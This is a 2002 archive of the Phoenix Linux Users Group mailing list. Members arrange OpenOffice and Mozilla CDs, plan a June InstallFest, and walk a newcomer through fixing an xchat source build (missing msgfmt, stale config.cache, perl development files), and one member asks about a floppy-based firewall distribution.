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From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:24:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 5 Jun 2002 15:24:00 -0700 (PDT) Subject: Open Office 1.0 for Linux and Windows In-Reply-To: Message-ID: I'll also throw Mozilla 1.0 for Linux and Windows on the CD as well. ~M On Wed, 5 Jun 2002, Jeff James wrote: > > Yes.......Please do. > > From: Matt Alexander > Reply-To: plug-discuss@lists.plug.phoenix.az.us > To: > Subject: Re: Open Office 1.0 for Linux and Windows > Date: Wed, 5 Jun 2002 13:36:48 -0700 (PDT) > Speaking of which... I could probably burn a bunch of CDs with OO for > Linux and Windows and have them available at the InstallFest. > On Wed, 5 Jun 2002, Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Looking for a copy of OO for Linux and Windows on a CD so that I dont have to > > spend the next week downloading it over a 56K connection. Anyone have them? > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPP5wXisk3ywszI1FEQJSLgCfdXrz2MxzECoLiaeVosVmUXek30AAnjE0 > > GmQK3OKjzE1aggpT4D6E2B7H > > =m9Qk > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > _____________________________________________________________________________________________________________________________________________________________ > Join the world’s largest e-mail service with MSN Hotmail. Click Here > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and > you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:45:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 15:45:47 -0700 Subject: Open Office 1.0 for Linux and Windows In-Reply-To: ; from theothercomputerguy@hotmail.com on Wed, Jun 05, 2002 at 03:17:05PM -0700 References: Message-ID: <20020605154547.A28211@nadesico> On Wed, Jun 05, 2002 at 03:17:05PM -0700, Jeff James wrote: Dunno about anybody else, but this text is unreadable to me. HTML attachments don't come across email well -- especially when the email doesn't have a plaintext attachment. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:02:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 5 Jun 2002 16:02:49 -0700 (MST) Subject: InstallFest Tips? In-Reply-To: Message-ID: Am 05. Jun, 2002 schwätzte Robert Bushman so: > ------------------------------------------------------------------- > "This time around, everything not forbidden is mandatory." > "...Congress is willing to butcher the $600 billion tech industry > to feed the $35 billion entertainment sector..." > http://www.eff.org/blogs/bpdg/ > ------------------------------------------------------------------- $35 billion? industry vs. sector? A couple of films this year have made over $100 million in the opening weekend. Spider Man has over $300 million in the .us thus far. Hell, film, tv, music, and sports all probably top $35 billion on their own. Granted, there's a lot of cross-over because sports get a lot of the money from tv, but I find it hard to believe that the 'entertainment sector' is only $35 billion. They're also the only sector that hasn't been reducing salaries or having massive layoffs. Wouldn't it be great to see a bunch of the baseball teams have to layoff 7 or 8 players mid-season? :) Coach ( to GM ): But we have to have 9 players on the field. GM: Well, you're just gonna have to find a way to make do. Remember, we expect no loss in productivity or quality... ciao, der.hans -- # https://www.LuftHans.com/ # I'm not anti-social, I'm pro-individual. - der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:54:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 15:54:56 -0700 Subject: OO CD Message-ID: <02060515545614.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks to Matt, I have a CD - thanks also to everyone else who offered to help me out. I think it would be superb to be able to install OO 1.0.x and zilla 1.0.x at the Install Fest. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP6WwCsk3ywszI1FEQL5bgCfaG8N5nSpmPHC3NUiEmxi98m2AOIAn3qb jSPWHTx7d9l7QEw7Crf6/jpm =2y4f -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 22:57:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 5 Jun 2002 15:57:32 -0700 Subject: Contact for installfest In-Reply-To: <20020605202350.55136.qmail@web13904.mail.yahoo.com> References: <20020605202350.55136.qmail@web13904.mail.yahoo.com> Message-ID: <02060515573215.00730@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bill is the coordinator for the Install Fest. And we will indubitably be keeping tabs on how successful every install goes and if a problem crops up, we should be noting the reason(s). On Wednesday 05 June 2002 13:23, you wrote: > I greatly apologize for asking this, since the answer > has already been stated, but who do we contact about > being able to help at the installfest? > > mike > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPP6XXSsk3ywszI1FEQIPMACghWYiy7UUuP3GrP5SxQXOJoEfGSYAoM3/ XjIowsXjFSngpW9jsRMHW8d4 =xMOl -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:06:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Wed, 5 Jun 2002 16:06:38 -0700 (MST) Subject: InstallFest -- Status Message-ID: Here's everything I have to date. Please reply off-list with additions or corrections. ------------------------------- What: InstallFest When: 22 June 2002, 10am-4pm Where: Turquoise Room, Scottsdale Community College, Hwy. 101 & Pima Rd. Press release at: http://www.plugpresents.com/installfest ------------------------------- STATUS as of 2002-06-05 16:00 MST SCC Contact: G.D.Thurman Publicity: Jim Wejroch Press Release: Dennis Kibbe Flyer: Susan Henson Newbie classes (hope to have schedule before Fest): ______ Vendors: Alan Dayley Installations: (Prefer to have several names for each) RedHat: ______ ______ Alan Robert A.Klahn Mandrake: ______ ______ W.Lindley Debian: ______ ______ Robert A.Klahn Slackware: ______ Bruce Pettycrew BSD: ______ J.Francois General Assistance: _____ _____ Matt Alexander "kb" Presentations: per Thurman, we will have a room with video projector. - Intro to Linux/GNU/PLUG/Free/Open Software: 1. Linux/Open Source: Jim Wejroch 2. ______ <-- YOUR NAME HERE! 3. KDE: ______ or Jim Wejroch 4. ______ 5. Linux/Open Source: der.hans 6. ______ (Should have several folks to speak briefly). - Videotape, Stallman visit October 2001: Thurman - Other presentations: ________: ______ (Your chance to speak!) Food: per Thurman: - SCC to provide food stand. Outside food, non-alc. drink OK. - Food and drink are allowed in the Turquoise Room and Foyer area. Giveaways: - (see also Vendor above) - PLUG handouts: ______ ______ - PLUG business cards: Jim - Tux the Penguin, case badges, to all successful installs. Dennis Kibbe - SCC is going to give away the following books: + Just For Fun (The Story of an Accidental Revolutionary) + The Cathedral and Bazaar (Musings on the Linux and Open Source by an Accidental Revolutionary) + Open Sources (Voices from the Open Source Revolution) + Free as in Freedom (Richard Stallman's Crusade for Free Software) - Vendors: + Terra Soft: 10 packaged copies of Yellow Dog Linux 2.1. (Power PC) + TurboLinux: books & "goodies" CDROMs to give away - Mandrake 8.2 ______ - Debian ______ - RedHat 7.3 ______ - ___________ ______ <- Your favorite distro here! - Open Office, Mozilla 1.0. 10 copies, Matt Alexander Working computers for people to see. - Apple G3, der.hans (closed box) - ____________ <- KDE? - ____________ <- Gnome? - ____________ <-- need at least one with CD burner - ____________ <-- IPAQ or other platform? + Firewall Distro demos - __________ - __________ - FreeSCO: has one ready to go ----- MATERIALS LIST ----- Start of a list. Let me know which you can bring. Reply to me (not to all) with any additions / changes. Then we'll cc the pluglist. Ideally we'd have several folks with a "reserve" of items in their cars' trunks... GENERAL. - Markers, paper, tape -- for signs - Pens, pencils - Preprinted signs ("Install fest This Way" [left, right, straight]) - Easel, whiteboard, drymarkers - PLUG banner. Jim Wejroch HANDOUTS. - PLUG business cards Jim Wejroch - Flyers (We still need various handouts: Suggestions?) - Vendor materials - Supply of blank CDRs, and access to ISOs of several distributions on an operable computer with a CD burner. - Hardware Inventory / Waiver forms -- see http://www.vlug.org/ifht/ PARTS. - power strips / surge protectors (several folks pls bring) - network switch/hub & cables (Hans?) - extra network switch/hub & cables for Firewall demos - spare keyboards William Lindley - spare mice William Lindley - various converter plugs, screws, etc. - screwdrivers - network cards (PCI, ISA) - extra floppy drives, cdrom drives, video and sound cards (for folks with recalcitrant hardware?) - IDE, floppy cables FOOD. - _______ - _______ - _______ <--- sponsors? ----------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:31:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 16:31:26 -0700 Subject: xchat compile In-Reply-To: <20020605103211.A27101@nadesico> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> Message-ID: <20020605163126.0bc28860.snoogans@qwest.net> its setting it to gcc, im assuming thats normal. I am completely new at this but from reading it looks like the only error it has is the /bin/sh: -o command not found. it looks to me like its trying to run "-o" as its own command but i could be completely wrong. Any other ideas? On Wed, 5 Jun 2002 10:32:11 -0700 mondoshawan@tank.dyndns.org wrote: > On Wed, Jun 05, 2002 at 04:27:04AM -0700, robert jorgenson wrote: > > okay it appears that if i want to have the tint transparency option available(and i do :> ) i am going top have to compile xchat from source. I untar/unzip the files cd to the directory, ./configure all is well no errors at all, i type make and get this ... > > > > chimera:/home/bob/xchat-1.8.9# make > > make all-recursive > > make[1]: Entering directory `/home/bob/xchat-1.8.9' > > Making all in po > > make[2]: Entering directory `/home/bob/xchat-1.8.9/po' > > file=./`echo ca | sed 's,.*/,,'`.gmo \ > > && rm -f $file && PATH=../src:$PATH -o $file ca.po > > /bin/sh: -o: command not found > > make[2]: *** [ca.gmo] Error 127 > > make[2]: Leaving directory `/home/bob/xchat-1.8.9/po' > > make[1]: *** [all-recursive] Error 1 > > make[1]: Leaving directory `/home/bob/xchat-1.8.9' > > make: *** [all-recursive-am] Error 2 > > chimera:/home/bob/xchat-1.8.9# > > > > First thing i did was check to see if /bin/sh was there, it wasn't so i apt-get that and try again same thing. As lame as it sounds this litle option is something i would really like, if someone could help me out with this i would appreciate it, thanks in advance :) > > Looks to me like the Makefile isn't setting $(CC) properly. Check the > toplevel Makefile to see if it's redefining it to something bizarre. Since > it's an autoconf configure script, you'll likely have to edit the > po/Makefile and all other subdirectory's Makefiles as well. > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:29:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 5 Jun 2002 16:29:14 -0700 Subject: InstallFest Tips? In-Reply-To: References: Message-ID: <200206051629.14175.voltage_spike@fastmail.fm> On Wednesday 05 June 2002 04:02 pm, der.hans wrote: > Hell, film, tv, music, and sports all probably top $35 billion on their > own. Granted, there's a lot of cross-over because sports get a lot of the > money from tv, but I find it hard to believe that the 'entertainment > sector' is only $35 billion. I think there is even more crossover than you imply. I think for many of us, the "technology industry" is the "entertainment sector". I know I spent $170 on a Sony Clie just to read books . . . -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 5 23:52:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 16:52:26 -0700 Subject: xchat compile In-Reply-To: <20020605163126.0bc28860.snoogans@qwest.net>; from snoogans@qwest.net on Wed, Jun 05, 2002 at 04:31:26PM -0700 References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> Message-ID: <20020605165226.A28314@nadesico> On Wed, Jun 05, 2002 at 04:31:26PM -0700, robert jorgenson wrote: > its setting it to gcc, im assuming thats normal. I am completely new at > this but from reading it looks like the only error it has is the /bin/sh: -o > command not found. it looks to me like its trying to run "-o" as its own > command but i could be completely wrong. Any other ideas? On my box it compiles thusly: make all-recursive make[1]: Entering directory /home/mondoshawan/xchat-1.8.9' Making all in po make[2]: Entering directory /home/mondoshawan/xchat-1.8.9/po' rm -f cat-id-tbl.tmp sed -f ../intl/po2tbl.sed ./xchat.pot \ | sed -e "s/@PACKAGE NAME@/xchat/" > cat-id-tbl.tmp sed: Couldn't open file ../intl/po2tbl.sed if cmp -s cat-id-tbl.tmp ./cat-id-tbl.c; then \ rm cat-id-tbl.tmp; \ else \ echo cat-id-tbl.c changed; \ rm -f ./cat-id-tbl.c; \ mv cat-id-tbl.tmp ./cat-id-tbl.c; \ fi cat-id-tbl.c changed cd . && rm -f stamp-cat-id && echo timestamp > stamp-cat-id file=./echo ca | sed 's,.*/,,'.gmo \ && rm -f $file && PATH=../src:$PATH /usr/bin/msgfmt -o $file ca.po I'm guessing that it might not be finding the msgfmt program. Do a search for it on your box. When you find it, you'll have to redefine the Makefile's MSGFMT variable to point to it. Fortunately, it looks like you'll only need it for the files in the po/ directory, so only the Makefile in there will need to be edited. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:09:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 17:09:46 -0700 Subject: xchat compile In-Reply-To: <20020605165226.A28314@nadesico> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> Message-ID: <20020605170946.3654dd76.snoogans@qwest.net> Okay after some searching i found out i didn't have it installed so installed the gettext package which had it in it. It is now in /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt GMSGFMT = PATH=../src:$$PATH MSGFMT = no i did ./configure again after i installed it. I really have no idea how i would change that to point to where it is or what most of that means. I would gather the MSGFMT = no part means it doesn't think i have it but im not sure. On Wed, 5 Jun 2002 16:52:26 -0700 mondoshawan@tank.dyndns.org wrote: > On Wed, Jun 05, 2002 at 04:31:26PM -0700, robert jorgenson wrote: > > its setting it to gcc, im assuming thats normal. I am completely new at > > this but from reading it looks like the only error it has is the /bin/sh: -o > > command not found. it looks to me like its trying to run "-o" as its own > > command but i could be completely wrong. Any other ideas? > > On my box it compiles thusly: > > > make all-recursive > make[1]: Entering directory /home/mondoshawan/xchat-1.8.9' > Making all in po > make[2]: Entering directory /home/mondoshawan/xchat-1.8.9/po' > rm -f cat-id-tbl.tmp > sed -f ../intl/po2tbl.sed ./xchat.pot \ > | sed -e "s/@PACKAGE NAME@/xchat/" > cat-id-tbl.tmp > sed: Couldn't open file ../intl/po2tbl.sed > if cmp -s cat-id-tbl.tmp ./cat-id-tbl.c; then \ > rm cat-id-tbl.tmp; \ > else \ > echo cat-id-tbl.c changed; \ > rm -f ./cat-id-tbl.c; \ > mv cat-id-tbl.tmp ./cat-id-tbl.c; \ > fi > cat-id-tbl.c changed > cd . && rm -f stamp-cat-id && echo timestamp > stamp-cat-id > file=./echo ca | sed 's,.*/,,'.gmo \ > && rm -f $file && PATH=../src:$PATH /usr/bin/msgfmt -o $file ca.po > > > I'm guessing that it might not be finding the msgfmt program. Do a search > for it on your box. When you find it, you'll have to redefine the Makefile's > MSGFMT variable to point to it. Fortunately, it looks like you'll only need > it for the files in the po/ directory, so only the Makefile in there will > need to be edited. > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:07:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 05 Jun 2002 17:07:56 -0700 Subject: Open Office 1.0 for Linux and Windows Message-ID:

Where do you change this option in HotMail ?  Didn't see anything in the "Options" folder.

Thanks

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From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:38:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 5 Jun 2002 17:38:14 -0700 Subject: xchat compile In-Reply-To: <20020605170946.3654dd76.snoogans@qwest.net>; from snoogans@qwest.net on Wed, Jun 05, 2002 at 05:09:46PM -0700 References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> Message-ID: <20020605173813.A30441@nadesico> On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > Okay after some searching i found out i didn't have it installed so > installed the gettext package which had it in it. It is now in > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > GMSGFMT = PATH=../src:$$PATH > MSGFMT = no > > i did ./configure again after i installed it. I really have no idea how i > would change that to point to where it is or what most of that means. I > would gather the MSGFMT = no part means it doesn't think i have it but im > not sure. Just change the line from MSGFMT = no to MSGFMT = /usr/bin/msgfmt Save the file, and do a 'make' -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 00:45:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 17:45:31 -0700 Subject: xchat compile In-Reply-To: <20020605173813.A30441@nadesico> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> Message-ID: <20020605174531.3597265f.snoogans@qwest.net> i still get the exact same error after doing that ... Any ideas why it would do that? On Wed, 5 Jun 2002 17:38:14 -0700 mondoshawan@tank.dyndns.org wrote: > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > Okay after some searching i found out i didn't have it installed so > > installed the gettext package which had it in it. It is now in > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > GMSGFMT = PATH=../src:$$PATH > > MSGFMT = no > > > > i did ./configure again after i installed it. I really have no idea how i > > would change that to point to where it is or what most of that means. I > > would gather the MSGFMT = no part means it doesn't think i have it but im > > not sure. > > Just change the line from > MSGFMT = no > to > MSGFMT = /usr/bin/msgfmt > > Save the file, and do a 'make' > > -- > Thomas "Mondoshawan" Tate > mondoshawan@tank.dyndns.org > http://tank.webhop.org > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:03:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 05 Jun 2002 18:03:28 -0700 Subject: xchat compile References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> <20020605174531.3597265f.snoogans@qwest.net> Message-ID: <3CFEB4E0.F0FDD38D@qwest.net> Did you try to delete the config.cache file and rerun ./configure? robert jorgenson wrote: > > i still get the exact same error after doing that ... Any ideas why it would do that? > > On Wed, 5 Jun 2002 17:38:14 -0700 > mondoshawan@tank.dyndns.org wrote: > > > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > > Okay after some searching i found out i didn't have it installed so > > > installed the gettext package which had it in it. It is now in > > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > > > GMSGFMT = PATH=../src:$$PATH > > > MSGFMT = no > > > > > > i did ./configure again after i installed it. I really have no idea how i > > > would change that to point to where it is or what most of that means. I > > > would gather the MSGFMT = no part means it doesn't think i have it but im > > > not sure. > > > > Just change the line from > > MSGFMT = no > > to > > MSGFMT = /usr/bin/msgfmt > > > > Save the file, and do a 'make' > > > > -- > > Thomas "Mondoshawan" Tate > > mondoshawan@tank.dyndns.org > > http://tank.webhop.org > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:12:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 18:12:36 -0700 Subject: xchat compile In-Reply-To: <3CFEB4E0.F0FDD38D@qwest.net> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> <20020605174531.3597265f.snoogans@qwest.net> <3CFEB4E0.F0FDD38D@qwest.net> Message-ID: <20020605181236.7d0a9bcd.snoogans@qwest.net> Thanks that worked perfectly, Unfortunately i got a new error after about a minute ... /usr/bin/ld: cannot find -lperl and then make exits, any ideas on that one? On Wed, 05 Jun 2002 18:03:28 -0700 "Kevin Brown" wrote: > Did you try to delete the config.cache file and rerun ./configure? > > robert jorgenson wrote: > > > > i still get the exact same error after doing that ... Any ideas why it would do that? > > > > On Wed, 5 Jun 2002 17:38:14 -0700 > > mondoshawan@tank.dyndns.org wrote: > > > > > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > > > Okay after some searching i found out i didn't have it installed so > > > > installed the gettext package which had it in it. It is now in > > > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > > > > > GMSGFMT = PATH=../src:$$PATH > > > > MSGFMT = no > > > > > > > > i did ./configure again after i installed it. I really have no idea how i > > > > would change that to point to where it is or what most of that means. I > > > > would gather the MSGFMT = no part means it doesn't think i have it but im > > > > not sure. > > > > > > Just change the line from > > > MSGFMT = no > > > to > > > MSGFMT = /usr/bin/msgfmt > > > > > > Save the file, and do a 'make' > > > > > > -- > > > Thomas "Mondoshawan" Tate > > > mondoshawan@tank.dyndns.org > > > http://tank.webhop.org > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:21:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 18:21:13 -0700 Subject: xchat compile In-Reply-To: <20020605181236.7d0a9bcd.snoogans@qwest.net> References: <20020605042704.4eb0208f.snoogans@qwest.net> <20020605103211.A27101@nadesico> <20020605163126.0bc28860.snoogans@qwest.net> <20020605165226.A28314@nadesico> <20020605170946.3654dd76.snoogans@qwest.net> <20020605173813.A30441@nadesico> <20020605174531.3597265f.snoogans@qwest.net> <3CFEB4E0.F0FDD38D@qwest.net> <20020605181236.7d0a9bcd.snoogans@qwest.net> Message-ID: <20020605182113.14c49601.snoogans@qwest.net> After reading the ld man page i decided i needed to install the perl development files and everything orked just fine! First time i ever got a compile to work :) Thanks for all your help! On Wed, 5 Jun 2002 18:12:36 -0700 "robert jorgenson" wrote: > Thanks that worked perfectly, Unfortunately i got a new error after about a minute ... > > /usr/bin/ld: cannot find -lperl > > and then make exits, any ideas on that one? > > On Wed, 05 Jun 2002 18:03:28 -0700 > "Kevin Brown" wrote: > > > Did you try to delete the config.cache file and rerun ./configure? > > > > robert jorgenson wrote: > > > > > > i still get the exact same error after doing that ... Any ideas why it would do that? > > > > > > On Wed, 5 Jun 2002 17:38:14 -0700 > > > mondoshawan@tank.dyndns.org wrote: > > > > > > > On Wed, Jun 05, 2002 at 05:09:46PM -0700, robert jorgenson wrote: > > > > > Okay after some searching i found out i didn't have it installed so > > > > > installed the gettext package which had it in it. It is now in > > > > > /usr/bin/msgfmt. i have these lines in the makefiles in po/ regarding msgfmt > > > > > > > > > > GMSGFMT = PATH=../src:$$PATH > > > > > MSGFMT = no > > > > > > > > > > i did ./configure again after i installed it. I really have no idea how i > > > > > would change that to point to where it is or what most of that means. I > > > > > would gather the MSGFMT = no part means it doesn't think i have it but im > > > > > not sure. > > > > > > > > Just change the line from > > > > MSGFMT = no > > > > to > > > > MSGFMT = /usr/bin/msgfmt > > > > > > > > Save the file, and do a 'make' > > > > > > > > -- > > > > Thomas "Mondoshawan" Tate > > > > mondoshawan@tank.dyndns.org > > > > http://tank.webhop.org > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:36:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 5 Jun 2002 18:36:27 -0700 Subject: firewall Message-ID: <20020605183627.786d605b.snoogans@qwest.net> Ok i got this P1 200 mhz box here i want to turn into a firewall, its got a floppy drive and a 2 gig HD(couldn't find anything smaller), a 3com NIC, a realtek NIC, 64 megs of RAM and i was wondering what would be a good small firewall distro that i could install without a cdrom. Right now my setup is like this ... Parents Wintendo Box / Internet--qwest gateway box--4 port hub--[ \ 8 port hub--My main box Im thinking it would be best to put the firewall infront of the first 4 port hub but my parents are wierd and i doubt they would let me do that, so i will probably be putting it in front of my hub. I really just want something to keep unwanted things out of my box. Plus i also want to set up a web/ftp/email server sometime in the near future but thats soemthing else alltogether :) Any help is apreciated thanks :) From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 01:45:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 05 Jun 2002 18:45:46 -0700 Subject: firewall References: <20020605183627.786d605b.snoogans@qwest.net> Message-ID: <3CFEBECA.B30192E5@qwest.net> Take a look at some of these: http://freshmeat.net/search/?q=floppy+firewall§ion=projects robert jorgenson wrote: > > Ok i got 